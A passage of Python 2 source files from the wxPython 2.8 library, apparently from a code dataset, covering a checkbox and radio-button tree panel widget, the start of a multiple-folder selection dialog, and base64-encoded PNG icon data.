\"jtVs29yD01mFrus01fgIBALzcyuZXHwVPB4bV/lFY0MT527cWLQSXx35Wrjdbnw+H6mUQSwa\"\n \"paGpjejEHaaiswRsMs0bnqGn5yncmKRSqdIBAHqfqBeramo4c/3mssvv/bf2Cq22msb2Lqrr\"\n \"67DZbciShMej4a/243K6GB8fLw+g3esRwZpa7Jp30Urs3LxJaAhSCZ3QzDT/TIakTz46IDyB\"\n \"RrxeDbvdjs/nQ9O8jI6OzK+CUmM4oUsuRRJtLuei33glmJyKEEkaXAtPSQAHD39ZAPvxp5+J\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>fNshUoZp6dna+ELMvYkTGx\"\n \"<KEY>\"\n \"nmBzfQH45VuFlkUBBgb7BUAx84dCANPZLHV4UBUFj8dDW1vbUuMhbui8uuOlgq61AGCxURck\"\n \"eVzs6NsNgGbliKYydG9YT0+wedGc2VSOK0O3FjwvmISlmD8MIQQ5PZX/HcvF+PAIT296dkHP\"\n \"zgM8ai6EWFF/fzwikQhrO58sKpj/BUPXhojH4kUFAg0tBfdOuyh8H6hbEmAxc6jwRLRU3L0/\"\n \"UUDXsqZhyVL+B0Qv7WbNxR4hAAAAAElFTkSuQmCC\")\n\n", "id": "8499495", "language": "Python", "matching_score": 3.487879991531372, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/XRCed/images.py" }, { "content": "__date__ = \"12 Fev 2006, 22:00 GMT-03:00\"\n__version__ = \"0.03\"\n__doc__ = \"\"\"\nButtonTreeCtrlPanel is a widget where one can place check buttons, tri-state\ncheck buttons, radio buttons, both, and the ability to display them\nhierarchically.\n\n\nAbout:\n\nButtonTreeCtrlPanel is distributed under the wxWidgets license.\n\nFor all kind of problems, requests, enhancements, bug reports, etc,\nplease drop me an e-mail.\n\nFor updates please visit <http://j.domaindlx.com/elements28/wxpython/>.\n\"\"\"\n\nimport cStringIO\n\nimport wx\nfrom wx.lib.newevent import NewEvent\n\n#----------------------------------------------------------------------------\n\n(ButtonTreeCtrlPanelEvent, EVT_BUTTONTREECTRLPANEL) = NewEvent()\nEVT_CHANGED = EVT_BUTTONTREECTRLPANEL\n\n#----------------------------------------------------------------------------\n\nclass ButtonTreeCtrlPanel(wx.Panel):\n def __init__(self, parent, id=wx.ID_ANY, pos=wx.DefaultPosition,\n size=wx.DefaultSize, style=wx.WANTS_CHARS):\n wx.Panel.__init__(self, parent, id, pos, size, style)\n\n self.tree = wx.TreeCtrl(self, style=wx.TR_NO_LINES|wx.TR_HIDE_ROOT)\n\n il = self.il = wx.ImageList(16, 16)\n self.tree.SetImageList(il)\n\n for bl in [\"checkbox_checked\", \"checkbox_unchecked\", \"checkbox_tri\",\n \"radiobox_checked\", \"radiobox_unchecked\"]:\n bitmap = getattr(self.__class__, bl).GetBitmap()\n setattr(self, bl, il.Add(bitmap))\n\n bmp = wx.ArtProvider.GetBitmap(wx.ART_FOLDER, wx.ART_TOOLBAR, (16, 16))\n self.empty_bitmap = il.Add(bmp)\n\n self.root = self.tree.AddRoot(\"Root Item for ButtonTreeCtrlPanel\")\n\n self.Bind(wx.EVT_SIZE, self.OnSize)\n self.tree.Bind(wx.EVT_LEFT_DCLICK, self.OnLeftClicks)\n self.tree.Bind(wx.EVT_LEFT_DOWN, self.OnLeftClicks)\n self.tree.Bind(wx.EVT_RIGHT_DOWN, self.OnRightClick)\n\n self.allitems = []\n\n wx.CallAfter(self.OnSize)\n\n\n def _doLogicTest(self, style, value, item):\n if style in [wx.CHK_2STATE, wx.CHK_3STATE]:\n n = [self.checkbox_unchecked, self.checkbox_checked, \\\n self.checkbox_tri][value]\n\n self.tree.SetPyData(item, (value, style))\n self.tree.SetItemImage(item, n, wx.TreeItemIcon_Normal)\n\n elif style == wx.RB_SINGLE:\n if value:\n parent = self.tree.GetItemParent(item)\n (child, cookie) = self.tree.GetFirstChild(parent)\n\n if self.tree.GetPyData(child):\n self.tree.SetPyData(child, (False, wx.RB_SINGLE))\n self.tree.SetItemImage(child, self.radiobox_unchecked, \\\n wx.TreeItemIcon_Normal)\n\n for x in range(1, self.tree.GetChildrenCount(parent, False)):\n (child, cookie) = self.tree.GetNextChild(parent, cookie)\n\n if self.tree.GetPyData(child):\n self.tree.SetPyData(child, (False, wx.RB_SINGLE))\n self.tree.SetItemImage(child, self.radiobox_unchecked, \\\n wx.TreeItemIcon_Normal)\n\n self.tree.SetPyData(item, (True, wx.RB_SINGLE))\n self.tree.SetItemImage(item, self.radiobox_checked, \\\n wx.TreeItemIcon_Normal)\n\n else:\n self.tree.SetPyData(item, (False, wx.RB_SINGLE))\n self.tree.SetItemImage(item, self.radiobox_unchecked, \\\n wx.TreeItemIcon_Normal)\n\n\n def _getItems(self, parent=None, value=None):\n if not parent:\n parent = self.root\n cil = []\n (child, cookie) = self.tree.GetFirstChild(parent)\n if child.IsOk():\n d = self.tree.GetPyData(child)\n if value is None or (d and d[0] == value):\n cil.append(child)\n for x in range(1, self.tree.GetChildrenCount(parent, False)):\n (child, cookie) = self.tree.GetNextChild(parent, cookie)\n if child.IsOk():\n d = self.tree.GetPyData(child)\n if value is None or (d and d[0] == value):\n cil.append(child)\n return cil\n\n\n def AddItem(self, label, bmp=None, parent=None, style=None, value=False):\n v = None\n\n if bmp:\n n = self.il.Add(bmp)\n if not parent:\n parent = self.root\n if style is not None:\n v = (value, style)\n\n this_item = self.tree.AppendItem(parent, label)\n self.tree.SetPyData(this_item, v)\n\n if v:\n self._doLogicTest(style, value, this_item)\n else:\n if bmp is None:\n bmp = self.empty_bitmap\n else:\n bmp = self.il.Add(bmp)\n\n self.tree.SetItemImage(this_item, bmp, wx.TreeItemIcon_Normal)\n\n self.allitems.append(this_item)\n [self.tree.Expand(x) for x in self.allitems]\n\n return this_item\n\n\n def ExpandItem(self, item):\n self.tree.Expand(item)\n\n\n def CollapseItem(self, item):\n self.tree.Collapse(item)\n\n\n def EnsureFirstVisible(self):\n (child, cookie) = self.tree.GetFirstChild(self.root)\n if child.IsOk():\n self.tree.SelectItem(child)\n self.tree.EnsureVisible(child)\n\n\n def SetItemValue(self, item, value):\n data = self.tree.GetPyData(item)\n if data:\n self._doLogicTest(data[1], value, item)\n\n\n def GetItemValue(self, item):\n data = self.tree.GetPyData(item)\n if data:\n return data[0]\n else:\n return None\n\n\n def GetItemByLabel(self, label, parent=None):\n r = None\n for item in self._getItems(parent):\n if self.tree.GetItemText(item) == label:\n r = item; break\n return r\n\n\n def GetAllItems(self):\n return self.allitems\n\n\n def GetRootItems(self):\n cil = []\n for x in range(0, len(self.allitems)):\n d = self.tree.GetPyData(self.allitems[x])\n if not d:\n cil.append(self.allitems[x])\n return cil\n\n\n def GetStringRootItems(self):\n return [self.tree.GetItemText(x) for x in self.GetRootItems]\n\n\n def GetItemsUnchecked(self, parent=None):\n return self._getItems(parent, 0)\n\n\n def GetItemsChecked(self, parent=None):\n return self._getItems(parent, 1)\n\n\n def GetItemsTri(self, parent=None):\n return self._getItems(parent, 2)\n\n\n def GetStringItemsUnchecked(self, parent=None):\n return [self.tree.GetItemText(x) \\\n for x in self.GetItemsUnchecked(parent)]\n\n\n def GetStringItemsChecked(self, parent=None):\n return [self.tree.GetItemText(x) for x in self.GetItemsChecked(parent)]\n\n\n def GetStringItemsTri(self, parent=None):\n return [self.tree.GetItemText(x) for x in self.GetItemsTri(parent)]\n\n\n def OnRightClick(self, evt):\n item, flags = self.tree.HitTest(evt.GetPosition())\n self.tree.SelectItem(item)\n\n\n def OnLeftClicks(self, evt):\n item, flags = self.tree.HitTest(evt.GetPosition())\n if item:\n text, data = self.tree.GetItemText(item), self.tree.GetPyData(item)\n if data:\n style = data[1]\n if style == wx.CHK_2STATE:\n value = not data[0]\n elif style == wx.CHK_3STATE:\n value = data[0] + 1\n if value == 3: value = 0\n else:\n value = True\n\n self._doLogicTest(style, value, item)\n\n if value <> data[0]:\n nevt = ButtonTreeCtrlPanelEvent(obj=self, id=self.GetId(),\n item=item, val=value)\n wx.PostEvent(self, nevt)\n\n evt.Skip()\n\n\n def OnSize(self, evt=None):\n self.tree.SetSize(self.GetClientSize())\n\n# # Images generated by encode_bitmaps.py -----------------------------\nfrom wx.lib.embeddedimage import PyEmbeddedImage\n\nButtonTreeCtrlPanel.checkbox_unchecked = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAEFJ\"\n \"<KEY>\"\n \"hiGdTNo2kHvnDr+YDCrzE+JlAAAAAElFTkSuQmCC\")\n\nButtonTreeCtrlPanel.radiobox_checked = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAHFJ\"\n \"<KEY>\"\n \"BJCcgSpHZ8DaVRZugasCAmOOYJXxT24BQau5lNcoBdCK8m8mtqAILE87YJ7VHP49pJXQ9il/\"\n \"jfIaT195QDiwOHL5AAAAAElFTkSuQmCC\")\n\nButtonTreeCtrlPanel.radiobox_unchecked = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAGdJ\"\n \"REFUOI3NkksSgDAIQ4F6/xtru9LBmHTq4EJ2Hchr+LhHs0pESW1mm0r0Y+/57dGc1Tm2gMKH\"\n \"AEA3QBZjocrRGTC7qoULcP6gCnMuuylv4UcA1h8GmxN1wCAK/O0hzUDLp/w2ylsY3w4wQW9/\"\n \"cegAAAAASUVORK5CYII=\")\n\nButtonTreeCtrlPanel.checkbox_checked = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAGdJ\"\n \"<KEY>\"\n \"GjMlMNvRS0CbVwt2HQzoCUf7CUfIwK6ANq8u4zoYUOas4QgZGJAgfYl0OcqsvvMNP8koKiUm\"\n \"7JsAAAAASUVORK5CYII=\")\n\nButtonTreeCtrlPanel.checkbox_tri = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAHBJ\"\n \"<KEY>\"\n \"wFOt4bZug2PfxDNdARosBvBlC1YNGnSH52UV30c9wQOLAXzZglWDBj3BaoAXBliRvlQ6XGWK\"\n \"fucKTYUl4c5UOHYAAAAASUVORK5CYII=\")\n\n#\n##\n### eof\n", "id": "1880111", "language": "Python", "matching_score": 4.839616298675537, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/analogclock/lib_setup/buttontreectrlpanel.py" }, { "content": "# --------------------------------------------------------------------------------- #\n# MULTIDIRDIALOG wxPython IMPLEMENTATION\n#\n# <NAME>, @ 07 October 2008\n# Latest Revision: 12 Sep 2010, 10.00 GMT\n#\n#\n# TODO List\n#\n# 1) Implement an meaningful action for the \"Make New Folder\" button, but this\n# requires a strong integration with Explorer, at least on Windows;\n#\n# 2) Be more user-friendly with special folders as the Desktop, My Documents etc...\n#\n#\n# For all kind of problems, requests of enhancements and bug reports, please\n# write to me at:\n#\n# <EMAIL>\n# <EMAIL>\n#\n# Or, obviously, to the wxPython mailing list!!!\n#\n#\n# End Of Comments\n# --------------------------------------------------------------------------------- #\n\n\"\"\"\nThis class represents a possible replacement for `wx.DirDialog`, with the additional\nability of selecting multiple folders at once.\n\n\nDescription\n===========\n\nThis class represents a possible replacement for `wx.DirDialog`, with the additional\nability of selecting multiple folders at once. It may be useful when you wish to\npresent to the user a directory browser which allows multiple folder selections.\nMultiDirDialog sports the following features:\n\n* Ability to select a single or mutliple folders, depending on the style passed;\n* More colourful and eye-catching buttons;\n* Good old Python code :-D .\n\nAnd a lot more. Check the demo for an almost complete review of the functionalities.\n\n\nSupported Platforms\n===================\n\nMultiDirDialog has been tested on the following platforms:\n * Windows (Windows XP).\n\n\nWindow Styles\n=============\n\nThis class supports the following window styles:\n\n===================== =========== ==================================================\nWindow Styles Hex Value Description\n===================== =========== ==================================================\n``DD_NEW_DIR_BUTTON`` 0x000 Enable/disable the \"Make new folder\" button\n``DD_DIR_MUST_EXIST`` 0x200 The dialog will allow the user to choose only an existing folder. When this style is not given, a \"Create new directory\" button is added to the dialog (on Windows) or some other way is provided to the user to type the name of a new folder.\n``DD_MULTIPLE`` 0x400 Allows the selection of multiple folders.\n===================== =========== ==================================================\n\n\nEvents Processing\n=================\n\n`No custom events are available for this class.`\n\n\nLicense And Version\n===================\n\nMultiDirDialog is distributed under the wxPython license.\n\nLatest Revision: <NAME> @ 12 Sep 2010, 10.00 GMT\n\nVersion 0.3\n\n\"\"\"\n\nimport os\nimport wx\nimport wx.lib.buttons as buttons\n\nfrom wx.lib.embeddedimage import PyEmbeddedImage\n\n# MultiDirDialog styles\nDD_MULTIPLE = 1024\n\"\"\" Allows the selection of multiple folders. \"\"\"\nDD_DEFAULT_STYLE = wx.DD_DEFAULT_STYLE\n\"\"\" Equivalent to a combination of ``wx.DEFAULT_DIALOG_STYLE`` and ``wx.RESIZE_BORDER``. \"\"\"\nDD_DIR_MUST_EXIST = wx.DD_DIR_MUST_EXIST\n\"\"\" The dialog will allow the user to choose only an existing folder. When this style\"\"\" \\\n\"\"\" is not given, a \"Create new directory\" button is added to the dialog (on Windows)\"\"\" \\\n\"\"\" or some other way is provided to the user to type the name of a new folder. \"\"\"\nDD_NEW_DIR_BUTTON = wx.DD_NEW_DIR_BUTTON\n\n_ = wx.GetTranslation\n\n_cancel = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAA1dJ\"\n \"REFUOI11019oEwccB/Dv3eUuyZ2XpfljsmJ7JY01KZYWty6bdMwnp1X34JNS5sPAsmYruOnL\"\n \"3kTGcPg6Bdkexqql4EPdBuKbVG0xLmpoWjbW0D+S1Jg24RJzuSR3l58PtpsI/l5/fB5+3x9f\"\n \"AEDc7VauhMP3prq7q9+1t5/AW+aiLB+ZDocrU6HQk4tAFAC4s8Gg0uVyXTsZiw190Nsr6JnM\"\n \"kZAkrd6rVtOv4wuyfLS/rW3y6Oioq2tgILiRyXy4v1yexU979yaKIyNEiQRRsUjG2Bjddrtr\"\n \"532+k9v4B1kevu33l+vnzhFtbBAtL9OLS5douq9v0eZ1OPo8Xi8gSUClAls8jk+qVad148bP\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"O9bjpaUvxol+2Xa211/FAKolSa0XySSq+TzYYBAAYGkaUKnA5LgWA6hvmP//PKgokx9tbspq\"\n \"Pg8NgL61c0gSJL8f73R04O9KRV9Mp0+PtlrX/zvhgigO749GJ4dKJVc9l0MTgAVAZBg4BQEk\"\n \"SeCcTjAAOhWF5/3+w7FsdvkPogXuR7f7s/d6eycPqKqrubKC+hZ28DxydnurzHFWwG5niefB\"\n \"CALYVgu7wmGe2toOfby2lrVFIpFrn9brcmNpCU0ALIAdooiMw9FI1etfkmGUbaY5EXY4JIth\"\n \"YAIw1tcxODgoEcddZeua9rQqCGB5HgwA0e3GmsdjPtH1s1/Xar+ON5vTi6p6+qmm6U5JAksE\"\n \"VhBQbzahl0p57n1Nm9kQxVhXINAucxzSLpeZLBTOxHX98nbAfxItxMrlVV4UD+/q7OTJ58Pc\"\n \"7Ow/uVTq81c1FYTo76HQo5k9expXnc6xt9X5OsuOPIhGtZndu//9DYgBwEt1gHq0YITgmAAA\"\n \"AABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\n_ok = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAjdJ\"\n \"REFUOI2tksFLk3Ecxp+97975vmuve1dWuiUTNIy1JlsLpkZG0aXLbv0B0aVDUMfVQTp0jJpF\"\n \"EHl5LxUZgZcuQjAID4KUyWwyEU3d9m7O5d733dze97dfB1siJSn1nJ/P5+ELX+Afwx6YuAMB\"\n \"AVgwjcaBBdIovP2eyKMLPYNdM+7kNKZA9i3gR+ENCeF4Hx+8VigVBgrKWrXKGp/2JeCfwhsW\"\n \"Q/HTQiCaVTOYUiZtDuoMQqefrc1S9+uOEGNSRzqd+4j72/c1l4OOQNwn+aOFWg5TdBJEIKbH\"\n \"dI9zHLMt6H3lHrjScfU5x3DSmOXNrVUUxwFQ6S3vDdh9cZ/zTHSz8R0pMguGMKaRMuX5peQ9\"\n \"ZULPW8+PnB286L78zH/M76/DwCYtjSTefaAOQZjpEDofn5J8UR0qViqLoCpLql+IXFzS72IC\"\n \"eQCwssR2NFfOtNXsFZx09SLkDnfSlsYTluUy7a3Hz6mWMrLGKswiJaV0WS6Uyr9gAGC7It0L\"\n \"WrWYm99K9VdcqugSD8Pd6nG6RNeJCq9ZstwqNL1CMl/z8npdiRkPd2AAYJcTy41FcSVZt+lK\"\n \"na9FaLspCg4ehDew3qJgs6qStUxerhItlr+h74KB5iPNgVZuGkm6QpQWmy3i8AoiY7dA1XTy\"\n \"LZuVGYHGZi8t/gbvCABgDFS7vpVEgSgS29bv5CR7XtmQjxxyxt77En+Edwt+Svpua3MbRT5T\"\n \"a9QXPGL7gxc9L/eE98wwHWaG6JD1783/kB9qTvueLt8LjwAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\n_cdrom = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAArRJ\"\n \"REFUOI11kc9rm3Ucx1/f5/eTLV2aJ2vqVseGWzeYDAbCCq2THQqiuB3mP+DBQ3ss3rysILLb\"\n \"2I5FhKHkNFmFHkrFoVDQDautI02ZWqGJ7WzWEkzy/M73u1NKbNj79Dl8Xi8+P+BQhoeHj09N\"\n \"<KEY>\"\n \"wbm5uaeNRkO1220VRZEKw1D5vq/CMDwQTk9PfwVoffTk5ORMpVJR5XJZ1Wo1FYahCoJAtVot\"\n \"laapSpJEBUGgNjY2VLFYvNblDkzj4+PvJ0kCgJSSvb09tv7eiuv/1tMgDGg2m+zu7mKaJmNj\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>2HRGw8ifJ+6N/sNi+QzE4jbd9Auu5g3Jh6OxrjGZP\"\n \"<KEY>\"\n \"IkKhAKk6CDocHyqQcVyuFK8NlnhgAOnhCag36k6pdJ92u43ruliWhRACgWDmkxl27G2anVam\"\n \"93uih9dv3Lh569y5s5fjuCMNQ6BpIIROp9NB13XQ0R599+j7lZUnd7rQS0kMSYjIJmZ4AAAA\"\n \"AElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\n_computer = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAshJ\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"ZJlea/<KEY>\"\n \"3u+y2XyB9w7THkZGlnkUNYDw705HHeXgqIdZH6wqmCq/r7XZPzBCroRKSvDKrZsVIt/HnREc\"\n \"x8bRcYaZoCKICCIZf2wcY65IFAIQeOdWhfdH30D1PwSeuOvYfS5wqkBEiOMeu3t6Oj2jXC4x\"\n \"+l6NblfO7Al9OMSJp9V2YJwe0XhxIPSyHFEAH2Vcvz5AL4vY2z85RV1YodM1dp8bDodI34nj\"\n \"Y4+LSkQuUCwYUcjz9z8ppYLiLipQlLiT0NpLCCEHOFQDIuCDxzRgTtnd6zt1+RL4KLqgQDP9\"\n \"6oscI28mmPVwPiKKgoUw4CLvyLLURFKX9nqc9E4oBCUfsnMbvfff3/lgoHK50vLLPy3zbLcV\"\n \"jdy48eHdjz75slAouidPnj7+7denj1wUpXc+HrPq1ZqrDlcfOec0AFQqlZ8bjcYvW1tbgyJy\"\n \"d3x8/F6pOHBlsPyKS9MeWZq+liS9oZWVlYcP7j/4YWJiYn92djY9e4xGoxEBQ8Db09PTC5ub\"\n \"m7a+vmZLS0u2uLhoq6urtr29bXNzc4+HhoY+BS6NjY3lgLNjMj8/Hy0sLBTb7fbtarV6r16v\"\n \"387n86+LiHfOHTabzfW1tbWHuVxueXh4uDMzM5M55+yM4GJMTU35OI7LOzs7AyLiarVaUq/X\"\n \"O5OTk+n/e18CKWqFGqiV9Q4AAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\n_folder_close = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAcBJ\"\n \"REFUOI2Nk0FrE1EQx3+zL7vbmFKRQkE/gyfpISL4WYJHsQfPvXkQe6go+AnEi6dcBBEkhYgS\"\n \"oQfFeqo0VJRobaspm2R339sdD9u0IclC/zAwzLz5zbzhPeFUnU5HuYDq9brMBB+/+KQXVavV\"\n \"+jBZWxk79zffl3Z9dO8GQbCAiAAEM4DvvyI21m4SpyCiaK6ogqqiwN2nWzxbu0W1WpuBn00w\"\n \"ih3H/YwkcbgMnFOcU5K0yKdJTLVawzk3H3D8z9GPHKqKy3QGYK0Fiqkm5Y2do77l3ec+mQhD\"\n \"q+eWFgXjzr1ebzgXgBG2u0O+7A/JRYhzCjttqJrTbDb3G43G7blXyEQIlkI+dmNiPK5dqeBE\"\n \"sJoXO7CGdru9VbrEXDzCyyEisPPH8XOgrCwaFgysXl/lwcttLqWjmUd0BnCeh78UYgQQiJxy\"\n \"cpJj8gxcUZdbVw5Q47FYM1REESBTSJ0htYZkVCxChXKAXxGWq4bAnAPiDAbWMPCFEbD7bfew\"\n \"FPD34Hfa3TuKlmth4PsVycWTQYoeDp39EXnpVVh522pvTgPGI4V3Nt7E08lJvXr+ZP3g6+uH\"\n \"ZYB5EsCn+DwhEAHJ9KH/LOgEF+oT+k8AAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\n_folder_open = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAvdJ\"\n \"REFUOI1tU01o23UYft7/75ekqXVJWsO6HaZWzDyIih4UCkJBGIroUATxWPEyLx6EDZzz5Dzr\"\n \"xB3FkygoCA7ZR0A3g60zWdutbrZLTNOvJI1pmvyT/8fv4/WQFFzwgZf36zm8HzyEeyEAEAAD\"\n \"gAexM/B6iEsDAwak4eZwzXk48/gTr7w5+04qlUoMkwEgnnnyuekPz372xbGXjr8GAKPp9OSL\"\n \"L796/PQnn57/5Y/lv9q+tp3A8KEHM48BqcT4o888CwA49taJ04vFeqPta22s5Wtz+cL5r77/\"\n \"YW3HdY213Pa1Xd5w+WK+Yr/NremzX17MLZVqrQu5m/MEgM6c+yb70btvzLR6RlmtEInGhKvg\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"zXpTAvAvfX3u16MnP85U29r+vNIT9a5BIi4BADEBjEQIsQgBzBBEDCK5sFT5Z+VWZUsCwFpp\"\n \"<KEY>lZlHZ5UTY9RwJAI3SQm61VPZk9P54CHCfvA/D\"\n \"VimjtCUCRGiYAKJY2Eg6brEuARD83crq8o1C9KEXpgOC0caQ0YqtNk5oyQGYwm6LwvpK26tc\"\n \"z7ul61ld//MytHdDDgSky7fmsgcPPz/t6Q4TWABA0Nwgv3Z7y/v7t5y/XrikGsWrAO4CsPvz\"\n \"yf1k++7vl+mp2hkVdE2wkV/2y/NXe+uFK/Ba8wDqw8IaePvf4gE58cj7ELEZAKP/o859qd+D\"\n \"fwFu65tDy5tMTAAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\n_hd = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAxlJ\"\n \"<KEY>\"\n \"<KEY>\"\n \"Pd1qtQpxHBeiKCoKId4aHR39dGdnx7zsY0Oxurq6FIbhZ4yxwgeVcnHuVuaarmvwPB/nL9r4\"\n \"/Y+neHrQ+BLA5mUAHYp8Pr8uSdLXD+7fu/nRh5XktckpKOoIONcwNzeP998r483x8bvKSPKb\"\n \"/f19Z7gnDYUsyz+nUiksLi4ioWqIBcFfBw/R/LOK1nkTCVVDpVJJLpbvfPWfCQzDON/e3v7k\"\n \"9szk9Z7VwUuzA4WnoaXS6LQ7CAYD2C/bODlr3c3O3Pq2Vqt1ryQghKDb7X7XPG9BH5/ExNQN\"\n \"DPo9nJ2+wMxsEfr4JPhYGkEYqrIsb/4rAQBwzp+HUfRF5no6MX1jFlOZmxAihtVuYpSnYDyq\"\n \"QdUm0O323i2Xy99Xq1XzCiCZTPqcp/K247192jxA4DmI4wDPT88xMZXF7NxtPDaeIZfLUdd1\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"ZBjGq15LkqCURmEY+nEc94UQVAgxLJuQJClkjAWqqvrpdDqo1WohrdfrotVqxbZtR47jRJzz\"\n \"kDEWaJrmqao64Jy7nHNX1/V+JpNxFxYWBnt7e/7FxUUEAH8DenV0NY9j5foAAAAASUVORK5C\"\n \"YII=\")\n\n#----------------------------------------------------------------------\n_new = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAqpJ\"\n \"REFUOI1t0c1rXGUUx/Hvc+/czGtmEk1NTCYWY1BERAJVRMW4cCEIunHTnYjgQrduRHDTrX+F\"\n \"u+ZvEF2IRVCRRkpt1VSTmqQ1rzNz733uc855XDSRkfHsz+ec3zmO/6mrVz9vPjHTm52e6c23\"\n \"mq2lmpPFVE/6qrYUcXMON+2y7NP5Zy9/Wxtv/Gx9vXb5ynsfLczPvZnV0kfT+uycq6WdmO/V\"\n \"<KEY>\"\n \"<KEY>\"\n \"DS5xNjURwfv7Fk28acC5Gi6MsGqIqUA0iIKZYKYuOEsngKOjFZMgXlVIkgBSIOIxOwMsoBIQ\"\n \"<KEY>2MjqkpQC2jwiB+gUiEqBA1UVYlIhYgSQmBiAwAViaqCaSCGHJ<KEY>H\"\n \"<KEY>aXSB701wAEZ0HzjlbWLVfArKlOgHvTBNO1FwsIBh6OK1aLNQtImRmmdAy2gD3Sf\"\n \"ear/em/+ybWg+0g+4Pt7f7IzOkVmhXovoJmwuXeXraMDsE7jHPBAClwog8yS9ZJQ3qUoCm76\"\n \"Q/J+TqsraDPH0iF3yl2G96B2uvxvBDmL8fAoL6crVVxZEipBNDCo/qYq95HkmMoLeQVVaNKN\"\n \"uPEjeqCd+9C9+VfOonkyNS5al/Yu3J4qOJ3bJamarBw8x5R0bt0oTr4eB7aAzbIIa8lop4hp\"\n \"WSPJ9p+fX71tMf3p59+3Xy1j+kISUh5L+5tvP73+Qf+196+NAwp8d+u37ft+/5evWquLmrSa\"\n \"17uN/vbSpbfylz5Z+bg7eoQsNtIv/daVD9/94tr52/8BSS2agPSymFoAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\n_removable = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAldJ\"\n \"REFUOI2lkbFOXFcQhr+Zc+7uXRZvFi2GOFHiSInA7CLFCnaRCokij0DjyElFh9K6sfwQeQEX\"\n \"rngAvwBNsCyniNCChCKFSCYOkWADd/fuvfeccUEgrCU3yS+NNNN88/8z8D8l14d+v38jTdv3\"\n \"fD3tqEpdRJxE1AzDYYCFoswGg8HL5eXPDwH8dYBzzR8/aM9855x778ZQC2TZ+TEwB6ATAK8r\"\n \"SZLgvefP316SZed47zl902fw+hXOOZxTfKKzz5//1Jpw8OSJaZIcfyFykeqPw1+QX7f5aOEb\"\n \"pP+Iqv4p1YdfUlUF3omUbtwB/r5ysLa2cztNG+nl3P36W5qzPaZ2HzL67BH15ceMxxnjYkiM\"\n \"FXOt5mSEznxn0aliZoSqRFXofNzjIHnA9M0F1HvG4yFVOQag0UhnJiIkkixEixTFiBgqQqg4\"\n \"G/xFdfY7+eicNG0g6nBaQ6SiVivmJgDiZKEsc8CIoSLGQNqc4cbS9zSmpvEuQZ1D1CFS4BJ/\"\n \"cwJQFKPFIRGwC6Aq6mp0Zm9hplQR1AzRSFUFLFhnAvBi5+e7z549Jc9zzGzy+WYYsHinS7N7\"\n \"wnyyxNIn9+evAKurqx5ke3Pzh68smkRMMDCLglz2iHOJjeKJNXw7HB0dvwCQlZWV5ODgoFkU\"\n \"RTOE0DSzGpCYmf9ngQfUzFREKqAQkaH3/qTb7b5xGxsb7O3tWVmWAPGyRCQApYgUIpKLyFBV\"\n \"z1X1zHs/aLfbp/v7+4X8G9NkfX1dd3d3XZZlmue5izFKjFFU1er1emi1WqHX64Wtra0oIu8c\"\n \"6j/qLUda/yKP2243AAAAAElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\n\n\nclass MultiDirDialog(wx.Dialog):\n \"\"\"\n A different implementation of `wx.DirDialog` which allows multiple\n folders to be selected at once.\n \"\"\"\n\n def __init__(self, parent, message=_(\"Choose one or more folders:\"), title=_(\"Browse For Folders\"),\n defaultPath=\"\", style=wx.DD_DEFAULT_STYLE, agwStyle=DD_MULTIPLE, pos=wx.DefaultPosition,\n size=wx.DefaultSize, name=\"multidirdialog\"):\n \"\"\"\n Default class constructor.\n\n :param `parent`: the dialog parent widget;\n :param `message`: the message to show on the 